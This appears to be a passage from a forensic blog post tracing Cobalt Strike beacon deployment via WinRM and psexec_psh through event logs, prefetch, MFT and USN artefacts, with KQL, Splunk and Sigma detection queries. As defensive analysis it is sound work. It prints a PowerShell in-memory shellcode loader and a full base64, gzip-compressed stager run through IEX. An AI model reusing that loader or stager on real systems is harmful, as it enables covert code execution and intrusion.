    <span class="nv">$var_buffer</span> <span class="p">=</span> <span class="nv">$var_va</span><span class="p">.</span><span class="n">Invoke</span><span class="p">(</span><span class="no">[IntPtr]</span><span class="p">::</span><span class="n">Zero</span>  <span class="nv">$var_code</span><span class="p">.</span><span class="n">Length</span>  <span class="n">0x3000</span>  <span class="n">0x40</span><span class="p">)</span>
    <span class="no">[System.Runtime.InteropServices.Marshal]</span><span class="p">::</span><span class="n">Copy</span><span class="p">(</span><span class="nv">$var_code</span>  <span class="n">0</span>  <span class="nv">$var_buffer</span>  <span class="nv">$var_code</span><span class="p">.</span><span class="n">length</span><span class="p">)</span>

    <span class="nv">$var_runme</span> <span class="p">=</span> <span class="no">[System.Runtime.InteropServices.Marshal]</span><span class="p">::</span><span class="n">GetDelegateForFunctionPointer</span><span class="p">(</span><span class="nv">$var_buffer</span>  <span class="p">(</span><span class="n">func_get_delegate_type</span> <span class="p">@(</span><span class="no">[IntPtr]</span><span class="p">)</span> <span class="p">(</span><span class="no">[Void]</span><span class="p">)))</span>
    <span class="nv">$var_runme</span><span class="p">.</span><span class="n">Invoke</span><span class="p">(</span><span class="no">[IntPtr]</span><span class="p">::</span><span class="n">Zero</span><span class="p">)</span>
<span class="p">}</span>
</code></pre>

The PowerShell script is designed to decode, inject and execute a base64-encoded shellcode in the current process using dynamic memory allocation and function pointers.

First, the code checks if the size of IntPtr is 8, which indicates a 64-bit operating system. If the system is running on a 64-bit architecture, the script continues to execute.
Next, it converts the base64-encoded payload into a byte array using the [System.Convert]::FromBase64String method and applies a bitwise XOR operation with the value 35 to each byte. This is likely used to obfuscate the payload by applying a simple obfuscation technique.
After that, the code retrieves the function pointer for the VirtualAlloc function in the kernel32.dll library using the func_get_proc_address function. It also uses the func_get_delegate_type function to define a delegate type with the appropriate parameters for the VirtualAlloc function. The code uses the Marshal.Copy method to copy the byte array containing the shellcode into the allocated memory.
Finally, the code retrieves the function pointer for the shellcode using the Marshal.GetDelegateForFunctionPointer method and creates a delegate of type Void that can invoke the shellcode. The shellcode is then executed by calling the delegate with the Invoke() method. This causes the payload to be executed in memory.

Prefecth – Program execution

Since the wsmprohost.exe process is used by the Windows Remote Management (WinRM) service to handle the incoming connection and execute the command or payload, the Prefecth artefacts can successfully detect the execution of wsmprohost.exe.

Time	Description
13:38:10.193	[prefetch] Prefetch [WSMPROVHOST.EXE] was executed – run count 2 path hints: `\WINDOWS\SYSTEM32\WSMPROVHOST.EXE` hash: 0xEF06207C volume: 1 [serial number: 0x228095FD device path: `\VOLUME{01d80e8a80662822-228095fd}`]

It is important to mention that the presence of wsmprovhost.exe alone is not necessarily an indication of malicious activity. The process is a legitimate component of the Windows operating system and is typically used for system management and administration tasks.

File System – MFT

As mentioned earlier in the Sysmon event ID 7, in that case the MFT can be used to get information on the images loaded by the wsmprovhost.exe process. As a matter of fact, accesses to many DLLs can be observed within the MFT.

Time	Description
13:38:10.349	[fs/mft][.a..] File `\Windows\System32\WsmSvc.dll` ($STANDARD_INFORMATION), MFT:44064-1
13:38:10.523	[fs/mft][.a..] File `\Windows\System32\wsmplpxy.dll` ($STANDARD_INFORMATION), MFT:44028-1
13:38:10.600	[fs/mft][.a..] File `\Windows\System32\atl.dll` ($STANDARD_INFORMATION), MFT:39996-1
13:38:13.130	[fs/mft][.a..] File `\Windows\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll` ($STANDARD_INFORMATION), MFT:35638-1
13:38:18.333	[fs/mft][.a..] File `\Windows\Microsoft.NET\Framework\v4.0.30319\clr.dll` ($STANDARD_INFORMATION), MFT:36435-1
13:38:30.553	[fs/mft][.a..] File `\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\e4a1c9189d2b01f018b953e46c80d120\mscorlib.ni.dll` ($STANDARD_INFORMATION), MFT:1645-2
13:38:36.087	[fs/mft][.a..] File `\Windows\Microsoft.NET\Framework\v4.0.30319\clrjit.dll` ($STANDARD_INFORMATION), MFT:35566-1
13:38:42.286	[fs/mft][.a..] File `\Windows\assembly\NativeImages_v4.0.30319_32\System\68e52ded8d0e73920808d8880ed14efd\System.ni.dll` ($STANDARD_INFORMATION), MFT:1733-2
13:38:42.474	[fs/mft][.a..] File `\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\62fe5fc1b5bafb28a19a2754318abf00\System.Core.ni.dll` ($STANDARD_INFORMATION), MFT:1745-2

In our case, since the Windows Remote Management (WinRM) service has run for the first time, the birth of the prefetch file can be observed in the MFT (here in both $FILE_NAME and $STANDARD_INFORMATION of the WSMPROVHOST.EXE-EF06207C.pf file), otherwise only its modification would be visible. It is possible to notice, as expected, that the execution datetime recorded in the Prefetch file occurs 10 seconds before the file itself is created on the file system.

Time	Description
13:38:20.349	[fs/mft][…b] File ‘\Windows\Prefetch\WSMPROVHOST.EXE-EF06207C.pf’ ($STANDARD_INFORMATION), MFT:106956-3
13:38:20.349	[fs/mft][macb] File ‘\Windows\Prefetch\WSMPROVHOST.EXE-EF06207C.pf’ ($FILE_NAME), MFT:106956-3, PARENT: 93711-2

File System – USN journal

Just like the MFT, and as observed in the SysMon logs (event ID 11), the USN journal can also detect the temporary files that are generated by the PowerShell script execution policy stored in the user’s directory here: C:\Users\alice\AppData\Local\Temp\__PSScriptPolicyTest_*.

Time	Description
13:38:11.614	[fs/usnjrnl] File `\Users\alice\AppData\Local\Temp\__PSScriptPolicyTest_psmlbjet.gus.ps1` USN_REASON_FILE_CREATE
13:38:11.631	[fs/usnjrnl] File `\Users\alice\AppData\Local\Temp\__PSScriptPolicyTest_amxqtozh.ie2.psm1` USN_REASON_FILE_CREATE
13:38:11.631	[fs/usnjrnl] File `\Users\alice\AppData\Local\Temp\__PSScriptPolicyTest_amxqtozh.ie2.psm1` USN_REASON_DATA_EXTEND USN_REASON_FILE_CREATE
13:38:11.631	[fs/usnjrnl] File `\Users\alice\AppData\Local\Temp\__PSScriptPolicyTest_amxqtozh.ie2.psm1` USN_REASON_CLOSE USN_REASON_DATA_EXTEND USN_REASON_FILE_CREATE
13:38:11.631	[fs/usnjrnl] File `\Users\alice\AppData\Local\Temp\__PSScriptPolicyTest_psmlbjet.gus.ps1` USN_REASON_DATA_EXTEND USN_REASON_FILE_CREATE
13:38:11.631	[fs/usnjrnl] File `\Users\alice\AppData\Local\Temp\__PSScriptPolicyTest_psmlbjet.gus.ps1` USN_REASON_CLOSE USN_REASON_DATA_EXTEND USN_REASON_FILE_CREATE

In addition, when PowerShell starts running, the C:\Users\alice\AppData\Local\Microsoft\Windows\PowerShell\ folder is created to store the ModuleAnalysisCache file, created at the same time to store cached information about modules that have been analyzed.

Time	Description
13:38:29.304	[fs/usnjrnl] File `\Users\alice\AppData\Local\Microsoft\Windows\PowerShell` USN_REASON_FILE_CREATE
13:38:29.304	[fs/usnjrnl] File `\Users\alice\AppData\Local\Microsoft\Windows\PowerShell` USN_REASON_CLOSE USN_REASON_FILE_CREATE
13:38:29.304	[fs/usnjrnl] File `\Users\alice\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache` USN_REASON_FILE_CREATE
13:38:29.304	[fs/usnjrnl] File `\Users\alice\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache` USN_REASON_DATA_EXTEND USN_REASON_FILE_CREATE
13:38:29.304	[fs/usnjrnl] File `\Users\alice\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache` USN_REASON_CLOSE USN_REASON_DATA_EXTEND USN_REASON_FILE_CREATE

Finally, the USN journal also records the creation of the Prefecth file, C:\Windows\Prefetch\WSMPROVHOST.EXE-EF06207C.pf.

Time	Description
13:38:20.349	[fs/usnjrnl] File `\Windows\Prefetch\WSMPROVHOST.EXE-EF06207C.pf` USN_REASON_FILE_CREATE
13:38:20.349	[fs/usnjrnl] File `\Windows\Prefetch\WSMPROVHOST.EXE-EF06207C.pf` USN_REASON_DATA_EXTEND USN_REASON_FILE_CREATE
13:38:20.349	[fs/usnjrnl] File `\Windows\Prefetch\WSMPROVHOST.EXE-EF06207C.pf` USN_REASON_CLOSE USN_REASON_DATA_EXTEND USN_REASON_FILE_CREATE

Conclusion

Many artefacts can lead to the conclusion that a beacon has been dropped using WinRM on the victim workstation:

The WinRM service begins to listen for incoming connections (« Microsoft-Windows-WinRM » event ID 91);
The PowerShell engine starts (« PowerShell » event ID 400), as well as its providers, hosted by the C:\Windows\system32\wsmprovhost.exe -Embedding application (« PowerShell » event ID 600);
Thanks to AMSI, PowerShell scriptblock may record the Cobalt Strike Beacon (« Microsoft-Windows-PowerShell » event ID 4104);
Regarding the file system and execution artefacts, some events could confirm the drop of the beacon, but cannot be used as proof by themselves:
The wsmprohost.exe executable that is used by the Windows Remote Management (WinRM) service can be seen among the Prefetch files, this file being present in the MFT and in the USN journal;
Accesses to many DLLs can be observed within the MFT, also recorded by « Sysmon » event ID 7 (Image Loaded);
PowerShell activities also leave traces in the MFT and the USN journal in the user directory of « CORP\alice ».
Finally, once the proof of execution of the beacon has been established, the origin of the connection can sometimes be recorded by the « Security » event ID 4624 (also with event IDs 4672 and 4634).

Detection Rule Example

The timeline is processed using plaso (https://plaso.readthedocs.io/) on data collected with DFIR-Orc (https://dfir-orc.github.io/). The availablefields and their names may vary depending on how you use log2timeline and psort.

Kibana

The various KQL queries correspond to each aspect of the conclusion stated above and can of course be grouped together. Note that all these events occur in a short period of time.

parser : "winevtx" and source_name : "Microsoft-Windows-WinRM" and eid : 91
parser : "winevtx" and source_name : "PowerShell" and eid : ( 400 or 600 ) and message : *HostApplication=*wsmprovhost.exe*
parser : "winevtx" and source_name : "Microsoft-Windows-PowerShell" and eid : 4104
parser : "winevtx" and source_name : "Microsoft-Windows-Security-Auditing" and eid : (4624 or 4672 or 4634)
parser : "usnjrnl" and message : ( WSMPROVHOST.EXE* or *__PSScriptPolicyTest_* )
parser : "mft" and message : ( *WsmSvc.dll or *atl.dll or *clr.dll or *clrjit.dll or *mscoreei.dll or *mscorlib.ni.dll or *System.Core.ni.dll or *System.ni.dll or *wsmplpxy.dll )
parser : ( "prefetch" or "mft" ) and message : *WSMPROVHOST.EXE*

Splunk

This rule can be the same as the remote-exec winrm command seen in part 1, and focuses on PowerShell and WinRM events only:

host="*" index="*" parser=winevtx eid=91 OR (eid=400 AND  host_application="*wsmprovhost.exe*")
| bin span=15s _time
| eventstats distinct_count(event ID) as dis_count by _time
| where dis_count==2
| table _time eid message dis_count

Sigma

A Sigma rule already exists for this event (sigma/posh_pc_remote_powershell_session.yml at master · SigmaHQ/sigma).

sigma-cli &gt;&gt;&gt; sigma convert -t splunk -p sysmon ../sigma/rules/windows/powershell/powershell_classic/posh_pc_remote_powershell_session.yml
Parsing Sigma rules  [####################################]  100%
HostName="ServerRemoteHost" HostApplication="*wsmprovhost.exe*"

Cobalt Strike « jump psexec_psh »

The Cobalt Strike jump psexec_psh command creates a Beacon on the remote host using the psexec and PowerShell techniques. The Beacon type used for this test is smb.

Microsoft-Windows-Sysmon

Event ID 1 – Process Create

The process creation event provides extended information about a newly created process. The full command line provides context on the process execution. The ProcessGUID field is a unique value for this process across a domain to make event correlation easier. The hash is a full hash of the file with the algorithms in the HashType field.

The process chain created by the jump psexec_psh command on the victim workstation is cmd.exe -> powershell.exe. The PowerShell payload is base64 encoded several times, gzip compressed and XOR encrypted (with key « 35 »).

Time	Description
13:45:07.770	[evtx/sysmon/1] Process created with command `C:\\Windows\\SysWOW64\\cmd.exe /b /c start /b /min powershell -nop -w hidden -encodedcommand <base64enc_payload>` (id 3608) by user NT AUTHORITY\SYSTEM via `C:\\Windows\\System32\\services.exe` (id 596)
13:45:07.813	[evtx/sysmon/1] Process created with command `powershell -nop -w hidden -encodedcommand <base64enc_payload>` (id 6920) by user NT AUTHORITY\SYSTEM via `C:\\Windows\\SysWOW64\\cmd.exe` (id 3608)

Event ID 3 – Network Connection Detected

The network connection event logs TCP/UDP connections on the machine. Each connection is linked to a process through the ProcessId and ProcessGUID fields. The event also contains the source and destination host names, IP addresses, port numbers and IPv6 status.

In both of our tests, 3 connections are made. The first one on port 135, the second one to a random port and the last one to port 445.

Time	Description
13:45:09.111	[evtx/sysmon/3] Tcp network connection from host – (192.168.56.119:54310) to host – (192.168.56.117:135) (pid=832)
13:45:09.112	[evtx/sysmon/3] Tcp network connection from host – (192.168.56.119:54311) to host – (192.168.56.117:49692) (pid=596)
13:45:09.880	[evtx/sysmon/3] Tcp network connection from host – (192.168.56.119:54312) to host – (192.168.56.117:445) (pid=4)

Event ID 11 – File Created

File create operations are logged when a file is created or overwritten. This event is useful for monitoring autostart locations, like the Startup folder, as well as temporary and download directories, which are common places where malware is dropped during an initial infection.

A Prefetch file is generated for each process executed (cmd.exe and powershell.exe) and two PowerShell test scripts generated by Microsoft are created (__PSScriptPolicyTest_<random_number>.ps1):

Time	Description
13:45:07.842	[evtx/sysmon/11] Process `C:\\Windows\\system32\\svchost.exe` (pid=1860) created file `C:\\Windows\\Prefetch\\CMD.EXE-AC113AA8.pf` with user NT AUTHORITY\SYSTEM
13:45:09.526	[evtx/sysmon/11] Process `C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe` (pid=6920) created file `C:\Windows\Temp\__PSScriptPolicyTest_0tg0e3gp.i3q.psm1` with user NT AUTHORITY\SYSTEM
13:45:09.526	[evtx/sysmon/11] Process `C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe` (pid=6920) created file `C:\Windows\Temp\__PSScriptPolicyTest_2nmpla2r.cyj.ps1` with user NT AUTHORITY\SYSTEM
13:45:17.997	[evtx/sysmon/11] Process `C:\\Windows\\system32\\svchost.exe` (pid=1860) created file `C:\\Windows\\Prefetch\\POWERSHELL.EXE-767FB1AE.pf` with user NT AUTHORITY\SYSTEM

Event ID 13 – Registry Value Set

Registry key and value create and delete operations map to this event type.

Cobalt Strike creates a service to run the PowerShell command as « SYSTEM ». So a registry key with a random name is created under HKLM\\System\\CurrentControlSet\\Services\\4b3d5bc by the Services.exe process and the ImagePath registry key is set to the Beacon path.

Time	Description
13:45:07.758	[evtx/sysmon/13] Registry event : user NT AUTHORITY\SYSTEM process `C:\\Windows\\system32\\services.exe` (pid 596) has SetValue `HKLM\\System\\CurrentControlSet\\Services\\4b3d5bc\\Start` value to DWORD (0x00000003)
13:45:07.758	[evtx/sysmon/13] Registry event : user NT AUTHORITY\SYSTEM process `C:\\Windows\\system32\\services.exe` (pid 596) has SetValue `HKLM\\System\\CurrentControlSet\\Services\\4b3d5bc\\Type` value to DWORD (0x00000010)
13:45:07.760	[evtx/sysmon/13] Registry event : user NT AUTHORITY\SYSTEM process `C:\\Windows\\system32\\services.exe` (pid 596) has SetValue `HKLM\\System\\CurrentControlSet\\Services\\4b3d5bc\\ObjectName` value to LocalSystem
13:45:07.760	[evtx/sysmon/13] Registry event : user NT AUTHORITY\SYSTEM process `C:\\Windows\\system32\\services.exe` (pid 596) has SetValue `HKLM\\System\\CurrentControlSet\\Services\\4b3d5bc\\WOW64` value to DWORD (0x0000014c)
13:45:07.760	[evtx/sysmon/13] Registry event : user NT AUTHORITY\SYSTEM process `C:\\Windows\\system32\\services.exe` (pid 596) has SetValue ¨C296C value to ¨C297C
13:45:07.760	[evtx/sysmon/13] Registry event : user NT AUTHORITY\SYSTEM process ¨C298C (pid 596) has SetValue ¨C299C value to DWORD (0x00000000)
13:45:07.841	[evtx/sysmon/13] Registry event : user NT AUTHORITY\SYSTEM process ¨C300C (pid 596) has SetValue ¨C301C value to DWORD (0x00000001)
13:45:07.842	[evtx/sysmon/13] Registry event : user NT AUTHORITY\SYSTEM process ¨C302C (pid 596) has SetValue ¨C303C value to DWORD (0x00000004)

Event ID 17 – Pipe Created

Pipe creation operations map to this event type.

The default named pipe created by the SMB Beacon for the communication is \\msagent_## and the default named pipe created for the PowerShell payload staging is \\.\pipe\status_##.

Time	Description
13:45:08.203	[evtx/sysmon/17] Process `C:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe` (pid=6988) created pipe `\\msagent_bd` with user NT AUTHORITY\SYSTEM
13:45:09.832	[evtx/sysmon/17] Process `C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe` (pid=6920) created pipe `\\PSHost.132924303078028554.6920.DefaultAppDomain.powershell` with user NT AUTHORITY\SYSTEM
13:45:11.423	[evtx/sysmon/17] Process `C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe` (pid=6920) created pipe `\\status_8b` with user NT AUTHORITY\SYSTEM

Findings

Winevtx – Microsoft-Windows-Security-Auditing

Time	Description
13:45:07.730	[evtx/sec/4672] Special privileges assigned to ‘CORP\alice’ (S-1-5-21-1155457554-2149841727-2293290625-1108) (logon_id=0x00000000008629e3): SeSecurityPrivilege SeBackupPrivilege SeRestorePrivilege SeTakeOwnershipPrivilege SeDebugPrivilege SeSystemEnvironmentPrivilege SeLoadDriverPrivilege SeImpersonatePrivilege SeDelegateSessionUserImpersonatePrivilege
13:45:07.732	[evtx/sec/4624] User ‘CORP.LOCAL\alice’ (S-1-5-21-1155457554-2149841727-2293290625-1108) successfully logon (type=3) from ‘192.168.56.119’ (‘-‘) (logon_id=0x00000000008629e3) with ‘-‘
13:45:07.904	[evtx/sec/4672] Special privileges assigned to ‘CORP\alice’ (S-1-5-21-1155457554-2149841727-2293290625-1108) (logon_id=0x0000000000862fb5): SeSecurityPrivilege SeBackupPrivilege SeRestorePrivilege SeTakeOwnershipPrivilege SeDebugPrivilege SeSystemEnvironmentPrivilege SeLoadDriverPrivilege SeImpersonatePrivilege SeDelegateSessionUserImpersonatePrivilege
13:45:07.904	[evtx/sec/4624] User ‘CORP.LOCAL\alice’ (S-1-5-21-1155457554-2149841727-2293290625-1108) successfully logon (type=3) from ‘192.168.56.119’ (‘-‘) (logon_id=0x0000000000862fb5) with ‘-‘

The two network sessions (logon_type = 3) opened by user « CORP\alice » end a few moments later, just after the remote code execution.

Time	Description
13:46:23.310	[evtx/sec/4634] User logged off ‘CORP\alice’ (S-1-5-21-1155457554-2149841727-2293290625-1108) (logon_id=0x0000000000862fb5) from logon type=3
13:49:28.185	[evtx/sec/4634] User logged off ‘CORP\alice’ (S-1-5-21-1155457554-2149841727-2293290625-1108) (logon_id=0x00000000008629e3) from logon type=3

Winevtx – PowerShell

The jump psexec_pth command generates a PowerShell event ID 4104 because the block content was considered as suspicious. Script block logging events are recorded when a user starts a new session using the PowerShell remoting feature and stores blocks of code as they are executed by the PowerShell engine. This allows capturing the full PowerShell Beacon.

N.B.: Starting from PowerShell 5.0, anything that is determined as suspicious by AMSI (Antimalware Scan Interface) will automatically log a Script block/4104 event with a level of Warning⁴.

Time	Description
13:45:09.308	[evtx/powershell/40961] A new PowerShell runspace has been created
13:45:09.834	[evtx/powershell/53504] Windows PowerShell has started an IPC listening thread on process ‘6920’ in AppDomain ‘DefaultAppDomain’
13:45:10.240	[evtx/powershell/600] The PowerShell provider ‘Alias’ hosted by application `powershell -nop -w hidden -encodedcommand <base64enc_payload>` is Started.
13:45:10.240	[evtx/powershell/600] The PowerShell provider ‘Environment’ hosted by application `powershell -nop -w hidden -encodedcommand <base64enc_payload>` is Started.
13:45:10.240	[evtx/powershell/600] The PowerShell provider ‘Registry’ hosted by application `powershell -nop -w hidden -encodedcommand <base64enc_payload>` is Started.
13:45:10.286	[evtx/powershell/600] The PowerShell provider ‘FileSystem’ hosted by application `powershell -nop -w hidden -encodedcommand <base64enc_payload>` is Started.
13:45:10.286	[evtx/powershell/600] The PowerShell provider ‘Function’ hosted by application `powershell -nop -w hidden -encodedcommand <base64enc_payload>` is Started.
13:45:10.286	[evtx/powershell/600] The PowerShell provider ‘Variable’ hosted by application `powershell -nop -w hidden -encodedcommand <base64enc_payload>` is Started.
13:45:10.348	[evtx/powershell/400] The PowerShell engine state hosted by application `powershell -nop -w hidden -encodedcommand <base64enc_payload>` is changed from ‘None’ to ‘Available’.
13:45:10.387	[evtx/powershell/40962] A PowerShell runspace have been closed
13:45:10.681	[evtx/powershell/4104] The remote PowerShell scriptblock named ‘`7998c69a-4170-4f37-afb8-ef7ce9a2533c`‘ is executed (1 block)
13:45:11.213	[evtx/powershell/4104] The remote PowerShell scriptblock named ‘`23fe9a7e-31ee-473b-bcb0-8bd7c9b9ca38`‘ is executed (1 block)
13:45:11.246	[evtx/powershell/4104] The remote PowerShell scriptblock named ‘¨C323C’ is executed (1 block)

The last two PowerShell scriptblocks are similar to the one seen for the jump winrm64 command with the two functions, func_get_proc_address and func_get_delegate_type, which are used to dynamically load and execute unmanaged code with a specific signature in a managed environment.

The first PowerShell scriptblock decodes and decompresses a base64-encoded and gzip-compressed payload, reads the resulting data as a string, and then executes it as a PowerShell command using the IEX cmdlet. This code is the one that appears as an argument to the PowerShell command powershell -nop -w hidden -encodedcommand <base64enc_payload> (running in a hidden window with « NoProfile »).

$s=New-Object IO.MemoryStream( [Convert]::FromBase64String("H4sIAAAAAAAA/61W73PaOBP+HP4KfciM7SlQEnJp6E1nym/MC4TEJKHlGEbIMjERFkiywVz7v78rG3P0mrxvZ+4yw0SWdle7zz67K4eqgqOET1SfuxQVHqmQPg/QZS533uC2Qp/QZyPnhQFRelsvZguqZmvByQy7rqBSoj9zZ0Ms8AqZ5xEWsxV3Q0bzKPnQgtQNBbXOznJnyVYYSOzRWYCVH9HZiqpn7kq4yJxU1+sGX2E/mH78WA+FoIFKv4ttqqpS0tWc+VSaFvqGnp6poIXb+ZIShf5E57Nim/E5ZgexuI7JMwRUDVx91uME6wiKzpr5yjT++MOwJoWLabG5CTGTpuHEUtFV0WXMsNB3S184itfUNPo+EVxyTxWf/KB8WXxIvB8kzvdT3w3rENlijSGOt4PUVlMd04DlELCpphgaeTTR902mU/T56M19GCh/RYt2oKjga4eKyCdUFjs4cBm9px6oGRLSFywMC5wQVIUiQJkvoBfxF2qeByFjebA7+VW7U3NAtxm4v6pkniqB1FAJK3/gxK/A0U94k5qDcH7y/oRcFvz9RDAr9z33ClVdyugCKzpTgO8JV3NnZ5NkSSEec8iln+h9QqU86oMTWHER63SOREit6V/5Sa/NNGX+TUMXmdZBJ01P6scnNHnkvjvNnVm5A3v0/mwe+sylQp+/XQ0N6vkBbcQBXvkkI7z5Ws6ox2iCRzETG4CfpnE4oG7jgI6hAZ38rNZc+eqoW0udqxLIuwSvgBLWj86kOTQNO+jTFeCXfgNNzz0oM5pJH0orzm7X35rLdYalzKNhCHVO8sihmFE3j6qB9A9H1VDxZGn85W4/ZMonWKrM3NR6BdLD1XUeQMWEBLILMIycNSU+ZhqVPOr4Lq3Fjr/IXDBexaSOGYOSA0sR5AR2NBaO0pwRbv7v/LCKDlX2as3oCqSTLtRieAE951BRCd3wgrrG/3A7q5O0KDRWGUgnTgMBHMZVHj36QkFfM/I/Ee+fufdji/nBzbqgh0SaSSFOarHS5ZJIEj1cPh2xTJATClBrCb6qYUmvr5ykjZlG+Sbc2HF/eXct2s2o1dl0miP4RfArb1rNXq97v67d90gzvB12Sl3PvrtpXIXb0A5HtVK5VQK5/abd9Ozoln+5CFdXF+7ajgawJz9sOrJhR41q53LDW9cLv3Kwk+rfzbcX87Hd+jBvt646j7Kl5Tt2VGtt6hUO6/d2VOdd0Lu5Xge1rXtFm91rOu6RbVndULzYxf95fNcMB90vJbnsQwxOZU+69UHXLqkPz+VGuzz8uo+5XNrx4LdmuI7Ji1y+xGTpxLejbgxyLy/McWo75/Lr6P3QI5Xglg+2btcut3r10o5u3f3lOhyMRw8vS8cB+WvR4rcPwUa2F1dOyMdbEsH+heO4OxcCi8bxl/IQc3dL9sl+3G/A3adngA8pb9o3HYgrqMU9sfEJYE46/bj3HA+dxKbbjJaX3gcP/C85754u1p0OqWxA/vo5qsUSXzHy4lRunxbjMamoXae2H/bIYE/Kncr7xrgyctig7V3UxnfMfXrobOd3zqDSeAz3mlEeFzAjdrrv/o7gf4EpdOQMMAVIqPffvbN07z6eTM5302zWHr8L8x1YK/+m+ZecRPiEdW8NsD4W8hkzYCMMoayFtLhoHUbJkPtawzRff/28UBFQBi8DeDtkhVdljBM9/N6YQjCK0wE5hQbzAMvy5asrCx0FYeKlMc1Dz0sGxCHCbE5mgh8/foXw8icg9miwUM95VNqVS6WS/n9VsnK/Dkudr2PzaC6vB+SJJ6c3seQm64C+CIMV/RcT8MOl/x9aDV4yY4/QJQ69jpeVMz7ncraHTvalv4cXJN2gm4R7UmGhCks+h+dm0j/Nc2whuzlG5xh9RwUIryrLl/DmFItQN1OUPqG/oS32U8Vv6J4SCk+gQpfPgaUUZqI2nRjRwrD3X1pq1riTCwAA"));IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s [IO.Compression.CompressionMode]::Decompress))).ReadToEnd();

Once decoded and decompressed, the payload gives us the PowerShell script that will be executed. The code checks if the operating system is running on a 64-bit architecture and executes a PowerShell script block using a 32-bit PowerShell process if necessary, otherwise it executes the script block in the current process. The payload stored in $DoIt is similar to the one seen for the other ones with the two functions, func_get_proc_address and func_get_delegate_type, used to dynamically load and execute unmanaged code with a specific signature in a managed environment.

<pre><code><span class="nb">Set-StrictMode</span> <span class="n">-Version</span> <span class="n">2</span>

<span class="nv">$DoIt</span> <span class="p">=</span> <span class="sh">@'</span>
<span class="sh">... PowerShell script ... </span>
<span class="sh">'@</span>

<span class="k">If</span> <span class="p">(</span><span class="no">[IntPtr]</span><span class="p">::</span><span class="n">size</span> <span class="o">-eq</span> <span class="n">8</span><span class="p">)</span> <span class="p">{</span>
    <span class="nb">start-job</span> <span class="p">{</span> <span class="k">param</span><span class="p">(</span><span class="nv">$a</span><span class="p">)</span> <span class="nb">IEX </span><span class="nv">$a</span> <span class="p">}</span> <span class="n">-RunAs32</span> <span class="n">-Argument</span> <span class="nv">$DoIt</span> <span class="p">|</span> <span class="nb">wait-job</span> <span class="p">|</span> <span class="nb">Receive-Job</span>
<span class="p">}</span>
<span class="k">else</span> <span class="p">{</span>
    <span class="nb">IEX </span><span class="nv">$DoIt</span>
<span class="p">}</span>
</code></pre>

Winevtx – Service Control Manager

The beacon runs as a service, so the PowerShell activity seen above is also recorded by the Service Control Manager (SCM) with the installation of a randomly-named¹ service (event ID 7045). Although the randomness of the service name makes writing a detection rule complicated, the mentions of %COMSPEC% and powershell -nop -w hidden -encodedcommand in the program run by the service makes it easier to spot.

Time	Description
13:45:07.755	[evtx/sys/scm/7045] Service ‘4b3d5bc’ (`%COMSPEC% /b /c start /b /min powershell -nop -w hidden -encodedcommand <base64enc_payload>`) was installed by user ‘LocalSystem’ (type: user mode service, start: demand start)

Prefecth – Program execution

Since both of the Command Shell and PowerShell consoles are used, two Prefetch files are generated or edited, one for the cmd.exe process and the other for the PowerShell.exe process. In some cases, other Prefetch files may be modified or created depending on the command run by the Cobalt Strike beacon, such as conhost.exe here.

Time	Description
13:45:07.771	[prefetch] Prefetch [CMD.EXE] was executed – run count 2 path hints: `\WINDOWS\SYSWOW64\CMD.EXE` hash: 0xAC113AA8 volume: 1 [serial number: 0x228095FD device path: `\VOLUME{01d80e8a80662822-228095fd}`]
13:45:07.803	[prefetch] Prefetch [POWERSHELL.EXE] was executed – run count 5 path hints: `\WINDOWS\SYSWOW64\WINDOWSPOWERSHELL\V1.0\POWERSHELL.EXE` hash: 0x767FB1AE volume: 1 [serial number: 0x228095FD device path: `\VOLUME{01d80e8a80662822-228095fd}`]
13:45:07.898	[prefetch] Prefetch [CONHOST.EXE] was executed – run count 29 path hints: \WINDOWS\SYSTEM32\CONHOST.EXE hash: 0x1F3E9D7E volume: 1 [serial number: 0x228095FD device path: \VOLUME{01d80e8a80662822-228095fd}]

It is important to mention that the presence of the cmd.exe and powershell.exe processes alone is not necessarily an indication of malicious activity.

File System – MFT

No additional information is provided by the MFT, but it confirms the use of the Command Shell and the PowerShell consoles, by modifying not only the Prefetch files, but also the executables.

Time	Description
13:45:07.755	[fs/mft][.a..] File `\Windows\SysWOW64\cmd.exe` ($STANDARD_INFORMATION), MFT:53610-1
13:45:07.833	[fs/mft][macb] File `\Windows\Prefetch\CMD.EXE-AC113AA8.pf` ($FILE_NAME), MFT:110491-2, PARENT: 93711-2
13:45:07.833	[fs/mft][…b] File `\Windows\Prefetch\CMD.EXE-AC113AA8.pf` ($STANDARD_INFORMATION), MFT:110491-2
13:45:08.192	[fs/mft][..c.] File `\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell_ise.exe` ($STANDARD_INFORMATION), MFT:56216-1

File System – USN journal

The USN artefacts provide the same information as the Sysmon Event ID 11 (file created). Prefetch files for cmd.exe and powershell.exe are created and a PowerShell test script is generated.

Time	Description
13:45:07.833	[fs/usnjrnl] File `\Windows\Prefetch\CMD.EXE-AC113AA8.pf` USN_REASON_FILE_CREATE
13:45:07.833	[fs/usnjrnl] File `\Windows\Prefetch\CMD.EXE-AC113AA8.pf` USN_REASON_DATA_EXTEND USN_REASON_FILE_CREATE
13:45:07.833	[fs/usnjrnl] File `\Windows\Prefetch\CMD.EXE-AC113AA8.pf` USN_REASON_CLOSE USN_REASON_DATA_EXTEND USN_REASON_FILE_CREATE
13:45:09.508	[fs/usnjrnl] File `\Windows\Temp\__PSScriptPolicyTest_2nmpla2r.cyj.ps1` USN_REASON_FILE_CREATE
13:45:09.520	[fs/usnjrnl] File `\Windows\Temp\__PSScriptPolicyTest_0tg0e3gp.i3q.psm1` USN_REASON_DATA_EXTEND USN_REASON_FILE_CREATE
13:45:09.520	[fs/usnjrnl] File `\Windows\Temp\__PSScriptPolicyTest_0tg0e3gp.i3q.psm1` USN_REASON_CLOSE USN_REASON_DATA_EXTEND USN_REASON_FILE_CREATE
